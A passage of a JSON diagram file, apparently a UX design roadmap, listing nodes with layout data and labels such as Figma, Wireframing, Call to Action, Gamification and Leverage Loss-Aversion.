\"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 199,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 199,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 80.80541287592717,\n        \"y\": 1466.9973748348116\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 199,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"ekTWlRH0AJFQW22L0D4qQ\",\n      \"type\": \"label\",\n      \"position\": {\n        \"x\": 128.6095391594074,\n        \"y\": 1412.7690150431436\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Wireframing\",\n        \"href\": \"\",\n        \"color\": \"#000000\",\n        \"style\": {\n          \"fontSize\": 17\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 110,\n      \"height\": 36,\n      \"style\": {},\n      \"positionAbsolute\": {\n        \"x\": 128.6095391594074,\n        \"y\": 1412.7690150431436\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 110,\n        \"height\": 36\n      }\n    },\n    {\n      \"id\": \"t46s6Piyd8MoJYzdDTsjr\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 84.1095391594074,\n        \"y\": 1199.6484927422323\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Figma\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 199,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 199,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 84.1095391594074,\n        \"y\": 1199.6484927422323\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 199,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"HI_urBhPqT0m3AeBQJIej\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 84.1095391594074,\n        \"y\": 1252.6484927422323\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Adobe XD\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 199,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 199,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 84.1095391594074,\n        \"y\": 1252.6484927422323\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 199,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"nb7Ql1gvxqEucsGnIWTyY\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 84.1095391594074,\n        \"y\": 1305.6484927422323\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Sketch\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 199,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 199,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 84.1095391594074,\n        \"y\": 1305.6484927422323\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 199,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"fZkARg6kPXPemYW1vDMTe\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 84.1095391594074,\n        \"y\": 1358.6484927422323\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Balsamiq\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 199,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 199,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 84.1095391594074,\n        \"y\": 1358.6484927422323\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 199,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"u-5aejF7WUpuvk2QKGbeO\",\n      \"type\": \"label\",\n      \"position\": {\n        \"x\": 364.8773977705443,\n        \"y\": 1562.9741748535075\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"When attention is fleeting and scarce\",\n        \"href\": \"\",\n        \"color\": \"#000000\",\n        \"style\": {\n          \"fontSize\": 17\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 302,\n      \"height\": 36,\n      \"style\": {},\n      \"positionAbsolute\": {\n        \"x\": 364.8773977705443,\n        \"y\": 1562.9741748535075\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 302,\n        \"height\": 36\n      }\n    },\n    {\n      \"id\": \"U4ZEFUcghr9XjSyf-0Np7\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 372.2416430408088,\n        \"y\": 1603.6312791016187\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Call to Action\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 147,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 147,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 372.2416430408088,\n        \"y\": 1603.6312791016187\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 147,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"G4Ap91NgZfkV-54EuWe-Z\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 371.87739777054435,\n        \"y\": 1656.6312791016187\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Status Reports\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 288,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 288,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 371.87739777054435,\n        \"y\": 1656.6312791016187\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 288,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"mzWd-xSr7sO2RgfPbKy4T\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 523.2416430408089,\n        \"y\": 1603.6312791016187\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"How-to-Tips\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 137,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 137,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 523.2416430408089,\n        \"y\": 1603.6312791016187\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 137,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"wFWidrOZ5EHPgo9uuUclK\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 371.87739777054435,\n        \"y\": 1709.6312791016187\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Reminders & Planning Prompts\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 288,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 288,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 371.87739777054435,\n        \"y\": 1709.6312791016187\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 288,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"jsCKUH1HKQi_5kGvYbVtI\",\n      \"type\": \"label\",\n      \"position\": {\n        \"x\": 368.87739777054435,\n        \"y\": 1768.6312791016187\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"with many chances to influence user\",\n        \"href\": \"\",\n        \"color\": \"#000000\",\n        \"style\": {\n          \"fontSize\": 17\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 294,\n      \"height\": 36,\n      \"style\": {},\n      \"positionAbsolute\": {\n        \"x\": 368.87739777054435,\n        \"y\": 1768.6312791016187\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 294,\n        \"height\": 36\n      }\n    },\n    {\n      \"id\": \"9vA3ZWMiKG6NiEqGDvcFR\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 372.24164304080887,\n        \"y\": 1864.888026311074\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Decision-Making Support\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 292,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 292,\n        \"height\": 49\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"positionAbsolute\": {\n        \"x\": 372.24164304080887,\n        \"y\": 1864.888026311074\n      },\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 292,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"JSBiw0C6aq1LhA33y79PM\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 372.24164304080887,\n        \"y\": 1811.888026311074\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Behavior Change Games\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 292,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 292,\n        \"height\": 49\n      },\n      \"dragging\": false,\n      \"positionAbsolute\": {\n        \"x\": 372.24164304080887,\n        \"y\": 1811.888026311074\n      },\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 292,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"fbIur1tEIdNDE6gls4Bru\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 371.87739777054435,\n        \"y\": 1917.888026311074\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Gamification\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 130,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 130,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"positionAbsolute\": {\n        \"x\": 371.87739777054435,\n        \"y\": 1917.888026311074\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 130,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"eYZf67rnhOksfh44hnzHg\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 505.0066517763971,\n        \"y\": 2023.888026311074\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Planners\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 157,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 157,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"positionAbsolute\": {\n        \"x\": 505.0066517763971,\n        \"y\": 2023.888026311074\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 157,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"esWGzYUJwv7_xGjq6kpVE\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 371.87739777054435,\n        \"y\": 1970.888026311074\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Reminders\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 130,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 130,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"positionAbsolute\": {\n        \"x\": 371.87739777054435,\n        \"y\": 1970.888026311074\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 130,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"FoKtBRuTuMD2SZDHLWS-5\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 505.0066517763971,\n        \"y\": 1970.888026311074\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Social Sharing\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 157,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 157,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 505.0066517763971,\n        \"y\": 1970.888026311074\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 157,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"g-bcan_JnjJfg0_fMOb64\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 505.0066517763971,\n        \"y\": 1917.888026311074\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Goal Trackers\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 157,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 157,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 505.0066517763971,\n        \"y\": 1917.888026311074\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 157,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"f0n2JKxpcuP0JW-h4CvwN\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 373.87739777054435,\n        \"y\": 2023.888026311074\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Tutorials\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 128,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 128,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"positionAbsolute\": {\n        \"x\": 373.87739777054435,\n        \"y\": 2023.888026311074\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 128,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"NPUtT6QqPa5YdybFHdAQE\",\n      \"type\": \"label\",\n      \"position\": {\n        \"x\": 461.87739777054435,\n        \"y\": 1515.9973748348116\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"UX Patterns\",\n        \"href\": \"\",\n        \"color\": \"#000000\",\n        \"style\": {\n          \"fontSize\": 17\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 108,\n      \"height\": 36,\n      \"style\": {},\n      \"positionAbsolute\": {\n        \"x\": 461.87739777054435,\n        \"y\": 1515.9973748348116\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 108,\n        \"height\": 36\n      }\n    },\n    {\n      \"id\": \"VUf72i5hYaLR_8ul9EzmM\",\n      \"type\": \"topic\",\n      \"position\": {\n        \"x\": 82.30541287592717,\n        \"y\": 1758.6312791016187\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"UX Best Practices\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"GgBazWfF2OvOqkuo3DO2L\"\n      },\n      \"zIndex\": 999,\n      \"width\": 196,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 196,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 82.30541287592717,\n        \"y\": 1758.6312791016187\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 196,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"IjqH_Ev2fDWG0QDQ9c9eN\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -380.64250645475397,\n        \"y\": 1822.1374207135236\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Clear the Page of Distractions\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 388,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 388,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": -380.64250645475397,\n        \"y\": 1822.1374207135236\n      },\n      \"selectable\": true,\n      \"focusable\": true,\n      \"dragging\": false,\n      \"measured\": {\n        \"width\": 388,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"hDj3HaYAM7K1UJmP_T52n\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -380.64250645475397,\n        \"y\": 1875.1374207135236\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Make it Clear, Where to Act\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 388,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 388,\n        \"height\": 49\n      },\n      \"dragging\": false,\n      \"positionAbsolute\": {\n        \"x\": -380.64250645475397,\n        \"y\": 1875.1374207135236\n      },\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 388,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"FXJpJDIp-JBc0-0z4PIRo\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -380.64250645475397,\n        \"y\": 1769.1374207135236\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Tell User what the Action is and ask for it\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 388,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 388,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": -380.64250645475397,\n        \"y\": 1769.1374207135236\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 388,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"T3JsbjelcUdDkvjQ8PU2f\",\n      \"type\": \"label\",\n      \"position\": {\n        \"x\": -285.14250645475397,\n        \"y\": 1729.1374207135236\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Getting Users Attention\",\n        \"href\": \"\",\n        \"color\": \"#000000\",\n        \"style\": {\n          \"fontSize\": 17\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 197,\n      \"height\": 36,\n      \"style\": {},\n      \"positionAbsolute\": {\n        \"x\": -285.14250645475397,\n        \"y\": 1729.1374207135236\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 197,\n        \"height\": 36\n      }\n    },\n    {\n      \"id\": \"p-Umr7oMAafTRjVawBQfX\",\n      \"type\": \"label\",\n      \"position\": {\n        \"x\": -324.14250645475397,\n        \"y\": 1934.888026311074\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Getting Positive Intuitive Reaction\",\n        \"href\": \"\",\n        \"color\": \"#000000\",\n        \"style\": {\n          \"fontSize\": 17\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 275,\n      \"height\": 36,\n      \"style\": {},\n      \"positionAbsolute\": {\n        \"x\": -324.14250645475397,\n        \"y\": 1934.888026311074\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 275,\n        \"height\": 36\n      }\n    },\n    {\n      \"id\": \"ahhffBkmd-feroleBrhJm\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -380.64250645475397,\n        \"y\": 1974.888026311074\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Make UI Professional and Beautiful\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 388,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 388,\n        \"height\": 49\n      },\n      \"dragging\": false,\n      \"positionAbsolute\": {\n        \"x\": -380.64250645475397,\n        \"y\": 1974.888026311074\n      },\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 388,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"C1NwA0Pivoo73GANoOaPi\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -380.64250645475397,\n        \"y\": 2133.888026311074\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Deploy Social Proof\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 388,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 388,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": -380.64250645475397,\n        \"y\": 2133.888026311074\n      },\n      \"selectable\": true,\n      \"focusable\": true,\n      \"dragging\": false,\n      \"measured\": {\n        \"width\": 388,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"C5dKHIIgBzxtBpFgDs-hB\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -380.64250645475397,\n        \"y\": 2027.888026311074\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Deploy Strong Authority on Subject\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 388,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 388,\n        \"height\": 49\n      },\n      \"dragging\": false,\n      \"positionAbsolute\": {\n        \"x\": -380.64250645475397,\n        \"y\": 2027.888026311074\n      },\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 388,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"m30ePaw_qa36m9Rv9NSFf\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -380.64250645475397,\n        \"y\": 2080.888026311074\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Be Authentic and Personal\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 388,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 388,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": -380.64250645475397,\n        \"y\": 2080.888026311074\n      },\n      \"selectable\": true,\n      \"focusable\": true,\n      \"dragging\": false,\n      \"measured\": {\n        \"width\": 388,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"nD4XaBOKa74aLlPkT0Q3w\",\n      \"type\": \"label\",\n      \"position\": {\n        \"x\": -338.64250645475397,\n        \"y\": 2199.716018359537\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Get a favorable Conscious Evaluation\",\n        \"href\": \"\",\n        \"color\": \"#000000\",\n        \"style\": {\n          \"fontSize\": 17\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 304,\n      \"height\": 36,\n      \"style\": {},\n      \"positionAbsolute\": {\n        \"x\": -338.64250645475397,\n        \"y\": 2199.716018359537\n      },\n      \"selectable\": true,\n      \"focusable\": true,\n      \"dragging\": false,\n      \"measured\": {\n        \"width\": 304,\n        \"height\": 36\n      }\n    },\n    {\n      \"id\": \"jBQtuiHGl3eyCTZG85Vz5\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -380.64250645475397,\n        \"y\": 2235.716018359537\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Prime User-Relevant Associations\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 388,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 388,\n        \"height\": 49\n      },\n      \"dragging\": false,\n      \"positionAbsolute\": {\n        \"x\": -380.64250645475397,\n        \"y\": 2235.716018359537\n      },\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 388,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"zXinWCEH4LlYvXekLK0Ju\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -380.64250645475397,\n        \"y\": 2447.716018359537\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Leverage Loss-Aversion\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 388,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 388,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": -380.64250645475397,\n        \"y\": 2447.716018359537\n      },\n      \"selectable\": true,\n      \"focusable\": true,\n      \"dragging\": false,\n      \"measured\": {\n        \"width\": 388,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"iKHU0O0z6gCunCgv_aZye\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -380.64250645475397,\n        \"y\": 2500.716018359537\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Use Peer Comparisons\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 388,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 388,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": -380.64250645475397,\n        \"y\": 2500.716018359537\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 388,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"6Mvm8SrISyTT99AJ-VFaW\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -380.64250645475397,\n        \"y\": 2553.716018359537\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Use Competition\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 388,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 388,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": -380.64250645475397,\n        \"y\": 2553.716018359537\n      },\n      \"selectable\": true,\n      \"focusable\": true,\n      \"dragging\": false,\n      \"measured\": {\n        \"width\": 388,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"4AzPOKXUN32CkgchRMrRY\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -380.64250645475397,\n        \"y\": 2394.716018359537\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Avoid Cognitive Overhead\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 388,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 388,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": -380.64250645475397,\n        \"y\": 2394.716018359537\n      },\n      \"selectable\": true,\n      \"focusable\": true,\n      \"dragging\": false,\n      \"measured\": {\n        \"width\": 388,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"8wxlu4KA2iu9CJa1UAUll\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -380.64250645475397,\n        \"y\": 2341.716018359537\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Avoid Choice Overload\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 388,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 388,\n        \"height\": 49\n      